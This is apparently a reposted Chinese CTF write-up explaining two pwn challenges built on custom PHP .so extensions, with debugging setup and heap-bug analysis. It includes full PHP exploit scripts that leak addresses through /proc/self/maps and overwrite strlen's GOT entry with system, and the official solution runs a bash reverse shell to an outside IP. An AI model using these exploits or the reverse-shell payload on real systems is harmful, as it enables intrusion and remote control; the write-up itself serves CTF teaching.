PHP-So模块-Pwn题讲解

admin 2024年10月19日20:57:45评论19 views字数 10812阅读36分2秒阅读模式

一、基础知识

  • 最近打比赛 遇到了几道 php so 模块的 pwn 题,个人感觉挺有意思的

  • 一般情况下会把php 大部分函数 ban 掉,只是用 自定义so 文件里的函数

1.1 .so 文件的导出函数

虽然里面函数名前面有zif_ ,实际上调用的函数名是

add_chunk()show_chunk()edit_chunk()edit_name()free_chunk()
PHP-So模块-Pwn题讲解

1.2 gdb调试方法(一种)

可以先把本地的 gdbserver 上次到docker, 能正常运行就行了

PHP-So模块-Pwn题讲解

我只开了一个 docker 环境,正常情况下,他的ip 就是 这个加1 ,也就是 172.17.0.2

PHP-So模块-Pwn题讲解


PHP-So模块-Pwn题讲解

然后用 gdbserver 启动

PHP-So模块-Pwn题讲解
PHP-So模块-Pwn题讲解

上面是调试的方法,

1.3 函数传参分析

分析一下正常情况的状态

<?phpecho "123";echo "123";add_chunk(1,[0x23],"name");?>

gdb 调试

  • rdi 第一个参数可能是 传递参数的数量

  • rsi 可以通过该指针指向的字符数量来得知正确的参数数量(当前add_chunk) `lzz` 3个参数 类型    

PHP-So模块-Pwn题讲解

然后后面参数里的地址应该是用于存放我们传入参数的指针

PHP-So模块-Pwn题讲解

1.4 zend_parse_parameters

详见

https://www.bookstack.cn/read/phpbook/7.1.md


最简单的获取函数调用者传递过来的参数便是使用zend_parse_parameters()函数。zend_parse_parameters()函数的前几个参数我们直接用内核里宏来生成便可以了,形式为:ZEND_NUM_ARGS() TSRMLS_CC,注意两者之间有个空格,但是没有逗号。从名字可以看出,ZEND_NUM_ARGS()代表着参数的个数。紧接着需要传递给zend_parse_parameters()函数的参数是一个用于格式化的字符串,就像printf的第一个参数一样。


下面表示了最常用的几个符号。


数字类型判断

4 int6 strings7 arrary

类型 传擦和返回值,用于恢复结构

int zend_parse_parameters(size_t arg_num, char *TypeChar, ...)

如果参数不是预期的数量和类型,zend_parse_parameters 会返回 -1 否则 0


简单了解下 lzz 是什么东东

b Booleanl Integer 整型d Floating point 浮点型s String 字符串r Resource 资源a Array 数组o Object instance 对象O Object instance of a specified type 特定类型的对象z Non-specific zval 任意类型~Z zval**类型f 表示函数、方法名称,PHP5.3之前没有的

然后是简单分析的图

PHP-So模块-Pwn题讲解
  • 这部分来自星盟安全的pwnshell wp

bin_data_size的映射表,将宏定义展开为如下数组所示:

uint32_t bin_data_size[] = {8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, 384, 448, 512, 640, 768, 896, 1024, 1280, 1536, 1792, 2048, 2560, 3072 ...};

二、例题一【NumberGame】

  • 来自 第一届“长城杯”信息安全铁人三项赛决 夺取闯关 pwn numbergame

2.1 题目环境

server.py

#!/usr/bin/python3
import sysimport tempfileimport os
sys.stdout.write("File size >> ")sys.stdout.flush()size = int(sys.stdin.readline().strip())if size > 1024*1024:    sys.stdout.write("Too large!")    sys.stdout.flush()    sys.exit(1)sys.stdout.write("Data >> ")sys.stdout.flush()script = sys.stdin.read(size)
filename = tempfile.mktemp()with open(filename, "w") as f:    f.write(script)
os.system("php " + filename)

Dockerfile

FROM php:8.3-apacheRUN apt-get updateRUN apt-get upgrade -yRUN DEBIAN_FRONTEND=noninteractiveRUN apt install lib32z1 xinetd libstdc++6 lib32stdc++6 python3 -y
RUN useradd -m ctfRUN echo "ctf:ctf" | chpasswdWORKDIR /home/ctfADD ynetd /home/ctfADD server.py /home/ctfADD run.sh /home/ctf
COPY ./php.ini /usr/local/etc/phpCOPY ./numberGame.so /usr/local/lib/php/extensions/no-debug-non-zts-20230831COPY ./readflag /COPY ./flag.txt /flag.txt
RUN chmod 400 /flag.txtRUN chmod u+sx /readflag

EXPOSE 5555CMD ./ynetd -p 5555 "timeout 30 ./run.sh"

然后 php.ini 基本上禁用了所有的php函数

[PHP]
disable_functions = "system",... disable_classes = ""...extension = numberGame.so ; 扩展的 so

给了 .tar.gz 的docker 镜像包,使用以下命令进行加载(线下比赛没有网络 给Dockerfile 也拉起不了,所以给打包的环境

docker load -i jingxiang.tar.gz
PHP-So模块-Pwn题讲解

启动环境

docker run --name run_numbergame  -p 5555:5555 -itd numbergame:latest

2.2 分析 numberGame.so 漏洞

PHP-So模块-Pwn题讲解
PHP-So模块-Pwn题讲解
PHP-So模块-Pwn题讲解
PHP-So模块-Pwn题讲解

2.3 触发漏洞

大致结构体

struct mechunk{    size_t *name_ptr;    size_t num;    size_t array_size; // 默认 最大 100, 通过漏洞使这里变大,我们既可以实现数组越界   ...;};

正常情况下,array_size 是 4

PHP-So模块-Pwn题讲解

array_size 被改 ( 和quicksort 有关),基本上使用 edit 时 idx 就没有限制了,只要知道 heap 地址和另一个地址,即可实现任意地址写

PHP-So模块-Pwn题讲解
PHP-So模块-Pwn题讲解

2.4 exploit

<?php
$heap_base = 0;$libc_base = 0;$libc = "";$mbase = "";function u64($leak){    $leak = strrev($leak);    $leak = bin2hex($leak);    $leak = hexdec($leak);    return $leak;}function p64($addr){    $addr = dechex($addr);    $addr = hex2bin($addr);    $addr = strrev($addr);    $addr = str_pad($addr, 8, "x00");    return $addr;}function leakaddr($buffer){    global $libc, $mbase;    $p = '/([0-9a-f]+)-[0-9a-f]+ .* /usr/lib/x86_64-linux-gnu/libc.so.6/';    $p1 = '/([0-9a-f]+)-[0-9a-f]+ .*  /usr/local/lib/php/extensions/no-debug-non-zts-20230831/numberGame.so/';    preg_match_all($p, $buffer, $libc);    preg_match_all($p1, $buffer, $mbase);    return "";}ob_start("leakaddr");include("/proc/self/maps");$buffer = ob_get_contents();ob_end_flush();leakaddr($buffer);echo "n----1-----n";add_chunk(5,[0,0,0,0x80000000,0],"test1"); # 需要构造好#add_chunk(1,[0],"/bin/sh;");add_chunk(1,[0],"/bin/sh");$rel = show_chunk(0); # 这里触发漏洞 vlun 会把数组控制的范围增大,然后 越界修改和泄露其他地方的值$heap = $rel[7];$heap += ($rel[8] << 0x20); // 泄露 heap 地址$of = $heap - 72; # 数组起始#$str_got = hexdec($mbase[1][0])+ 0x4008; // 计算 strlen 的地址,##echo "n----heap-----n";echo dechex($heap);echo "n----4-----n";echo $libc[1][0];echo "n----4-----n";#$offset = ($str_got - $of) / 4;$system = (hexdec($libc[1][0]) + 0x4c490);echo $offset;edit_chunk(0,$offset,$system & 0xffffffff); # 修改strlen_got表低四字节为 system//修改name 的时候 会先 strlen测量 name 的长度 strlen("/bin/sh");edit_name(1,'1'); # ?>

PHP-So模块-Pwn题讲解

三、例题二 【PwnShell】

3.1 题目环境

Dockerfile

FROM php:8.3-apacheRUN apt-get updateRUN apt-get upgrade -yRUN DEBIAN_FRONTEND=noninteractiveRUN apt install vim -y
COPY ./stuff/php.ini /usr/local/etc/phpCOPY ./stuff/vuln.so /usr/local/lib/php/extensions/no-debug-non-zts-20230831COPY ./stuff/readflag /COPY ./flag.txt /flag.txtCOPY ./stuff/index.php /var/www/htmlRUN chmod 400 /flag.txtRUN chmod u+sx /readflagRUN chmod -R 777 /var/www/html

index.php, 用于上传 exp 文件,然后访问触发

<?php@error_reporting(E_ALL);$file = $_FILES['file'];if (!isset($file)){    die('upload error');}$result = move_uploaded_file($file['tmp_name'], $file['name']);
if ($result){    echo 'upload success';}else{    echo 'upload error';}

3.2 调试方法

本机配置php.ini vlun.so

/etc/php/8.3/apache2/php.ini添加extension = vuln.so

然后把所需要的 so 放到指定目录, 后面再启动的后应该就可以成功加载了

PHP-So模块-Pwn题讲解

启动 docker 后可以在本机看到进程,但是由于使用的是 apache2 + php , 直接这个pid 是无法断点和跟进程序的,反正我是这样…

PHP-So模块-Pwn题讲解

直接用本机apache2 + php 环境调试,

所以说,没法直接调试,我们可以是用 /usr/sbin/apachectl -X 即可调试进程.  apachectl是一个 shell脚本

PHP-So模块-Pwn题讲解

pid 80795 是真正的 执行程序,后面就调试它

PHP-So模块-Pwn题讲解

gdb pdi

PHP-So模块-Pwn题讲解

可以看到存在漏洞的 .so,后面就是边看边调试了

PHP-So模块-Pwn题讲解

交互脚本

from pwn import *from os import systemimport syss       = lambda data               :io.send(data)sa      = lambda delim,data         :io.sendafter(str(delim), data)sl      = lambda data               :io.sendline(data)sla     = lambda delim,data         :io.sendlineafter(str(delim), data)r       = lambda num                :io.recv(num)ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)rl      = lambda                    :io.recvline()itr     = lambda                    :io.interactive()uu32    = lambda data               :u32(data.ljust(4,b'x00'))uu64    = lambda data               :u64(data.ljust(8,b'x00'))ls      = lambda data               :log.success(data)lss     = lambda s                  :log.success('33[1;31;40m%s --> 0x%x 33[0m' % (s, eval(s)))
context.arch      = 'amd64'context.log_level = 'debug'context.terminal  = ['tmux','splitw','-h','-l','190']def start(binary,argv=[], *a, **kw):    '''Start the exploit against the target.'''    if args.GDB:        return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)    elif args.RE:        return remote()    elif args.AWD:        # python3 exp.py AWD 1.1.1.1 PORT        IP = str(sys.argv[1])        PORT = int(sys.argv[2])        return remote(IP,PORT)    else:        return process([binary] + argv, *a, **kw)
io = process(['/usr/sbin/apachectl', '-X'])print(io.pid)
sleep(0.1)
import subprocessgdbscript = '''b *zif_addHacker#b *zif_displayHackerb *zif_editHacker#b *zif_editHackerc'''
command = ["pgrep", "-f", "/usr/sbin/apache2"]result = subprocess.run(command, capture_output=True, text=True)

pids = int(result.stdout.strip().split("n")[0])

gdb.attach(pids,gdbscript)
pause()
system('cp exp.php /var/www/html/exp.php')system('curl http://127.0.0.1/exp.php')itr()

3.3 分析 vuln.so


大致是这几个函数

addHacker()removeHacker()displasyHacker()edithacker()
PHP-So模块-Pwn题讲解


分析出的函数传参和调用

addHacker("test1","test2");# text, text// 下面的基本上猜都能猜出来removeHack(0);    # idxeditHack(0,"ntxt"); # idx, new_textdisplayHack(0);    # idx
PHP-So模块-Pwn题讲解


3.4 漏洞分析

PHP-So模块-Pwn题讲解
addHacker(str_repeat("A", 0x8), str_repeat("B", 0x30));

还没有触发 off by null 时,0x77b36de73040 里面存的指针还是正常的

PHP-So模块-Pwn题讲解

off by null 触发后,下面的那个链表已经被修改了

PHP-So模块-Pwn题讲解

重叠了, 后面就是指针打指针了,正好指向的是 editHacker() 编辑的指针

PHP-So模块-Pwn题讲解

脚本试一下

<?php
$heap_base = 0;$libc_base = 0;$libc = "";$mbase = "";
function hex($addr){    return dechex($addr);}
// str_repeat("x90", 0x8)// str_pad($cmd, 0x20, "x00")
function u64($leak){    $leak = strrev($leak);    $leak = bin2hex($leak);    $leak = hexdec($leak);    return $leak;}
function p64($addr){    $addr = dechex($addr);    $addr = hex2bin($addr);    $addr = strrev($addr);    $addr = str_pad($addr, 8, "x00");    return $addr;}
function leakaddr($buffer){    global $libc,$mbase;    $p = '/([0-9a-f]+)-[0-9a-f]+ .* /usr/lib/x86_64-linux-gnu/libc.so.6/';    #$p1 = '/([0-9a-f]+)-[0-9a-f]+ .*  /usr/local/lib/php/extensions/no-debug-non-zts-20230831/vuln.so/';    $p1 = '/([0-9a-f]+)-[0-9a-f]+ .*  /usr/lib/php/20230831/vuln.so/';    preg_match_all($p, $buffer, $libc);    preg_match_all($p1, $buffer, $mbase);    return "";}
ob_start("leakaddr");include("/proc/self/maps");$buffer = ob_get_contents();ob_end_flush();leakaddr($buffer);$libc_base=hexdec($libc[1][0]);$module_base=hexdec($mbase[1][0]);

//echo hex($libc_base)."n";//echo hex($module_base)."n";
$pay = p64($module_base + 0x4020);$pay = str_pad($pay,0x40,"x01");addHacker(str_repeat("A", 0x8), str_repeat("B", 0x30));addHacker($pay, str_repeat("D", 0x2f));
editHacker(0,'111');
?>

可以看到 strlen 的 got 已经杯修改了,后面其实就很简单了

PHP-So模块-Pwn题讲解

getshell

PHP-So模块-Pwn题讲解

3.5 exploit

这里只是测试的本地环境

<?php
$heap_base = 0;$libc_base = 0;$libc = "";$mbase = "";
function hex($addr){    return dechex($addr);}
// str_repeat("x90", 0x8)// str_pad($cmd, 0x20, "x00")
function u64($leak){    $leak = strrev($leak);    $leak = bin2hex($leak);    $leak = hexdec($leak);    return $leak;}
function p64($addr){    $addr = dechex($addr);    $addr = hex2bin($addr);    $addr = strrev($addr);    $addr = str_pad($addr, 8, "x00");    return $addr;}
function leakaddr($buffer){    global $libc,$mbase;    $p = '/([0-9a-f]+)-[0-9a-f]+ .* /usr/lib/x86_64-linux-gnu/libc.so.6/';    #$p1 = '/([0-9a-f]+)-[0-9a-f]+ .*  /usr/local/lib/php/extensions/no-debug-non-zts-20230831/vuln.so/';    $p1 = '/([0-9a-f]+)-[0-9a-f]+ .*  /usr/lib/php/20230831/vuln.so/';    preg_match_all($p, $buffer, $libc);    preg_match_all($p1, $buffer, $mbase);    return "";}
ob_start("leakaddr");include("/proc/self/maps");$buffer = ob_get_contents();ob_end_flush();leakaddr($buffer);$libc_base=hexdec($libc[1][0]);$module_base=hexdec($mbase[1][0]);$system = $libc_base +  362304;

//echo hex($libc_base)."n";//echo hex($module_base)."n";
$cmd = "echo `whoami`x00";
$pay = p64($module_base + 0x4020);$pay = str_pad($pay,0x40,"x01");addHacker(str_repeat("A", 0x8), str_repeat("B", 0x30));addHacker($pay, str_repeat("D", 0x2f));addHacker($cmd,$cmd);editHacker(0,p64($system));
displayHacker(2);?>

3.6 官方Wp-exploit-学

<?php$heap_base = 0;$libc_base = 0;$libc = "";$mbase = "";
function u64($leak){    $leak = strrev($leak);    $leak = bin2hex($leak);    $leak = hexdec($leak);    return $leak;}
function p64($addr){    $addr = dechex($addr);    $addr = hex2bin($addr);    $addr = strrev($addr);    $addr = str_pad($addr, 8, "x00");    return $addr;}
function leakaddr($buffer){    global $libc,$mbase;    $p = '/([0-9a-f]+)-[0-9a-f]+ .* /usr/lib/x86_64-linux-gnu/libc.so.6/';    $p1 = '/([0-9a-f]+)-[0-9a-f]+ .*  /usr/local/lib/php/extensions/no-debug-non-zts-20230831/vuln.so/';    preg_match_all($p, $buffer, $libc);    preg_match_all($p1, $buffer, $mbase);    return "";}
function leak(){    global $libc_base, $module_base, $libc, $mbase;
   ob_start("leakaddr");    include("/proc/self/maps");    $buffer = ob_get_contents();    ob_end_flush();    leakaddr($buffer);    $libc_base=hexdec($libc[1][0]);    $module_base=hexdec($mbase[1][0]);}function attack($cmd){    global $libc_base, $module_base;    $payload = str_pad(p64($module_base + 0x4038).p64(0xff), 0x40, "x90");    $gadget = p64($libc_base + 0x4c490);    addHacker(str_repeat("x90", 0x8), str_repeat("x90", 0x30));    addHacker($payload, str_repeat("x90", 0x2f));    addHacker(str_pad($cmd, 0x20, "x00"), "114514");    editHacker(0, $gadget);}function main(){    $cmd = 'bash -c "bash -i >& /dev/tcp/114.514.19.19/810 0>&1"';    leak();    attack($cmd);    removeHacker(2);}
main();?>

四、附件下载

链接: https://pan.baidu.com/s/1vMlz4msbfnf0tQsNEMhlwA?pwd=imzl 提取码: imzl 复制这段内容后打开百度网盘手机App,操作更方便哦

文末:

欢迎师傅们加入我们:

星盟安全团队纳新群1:222328705

星盟安全团队纳新群2:346014666

有兴趣的师傅欢迎一起来讨论!

PS:团队纳新简历投递邮箱:

[email protected]

责任编辑:@Elite

PHP-So模块-Pwn题讲解
PHP-So模块-Pwn题讲解

原文始发于微信公众号(星盟安全):PHP-So模块-Pwn题讲解

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月19日20:57:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP-So模块-Pwn题讲解https://cn-sec.com/archives/3290708.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息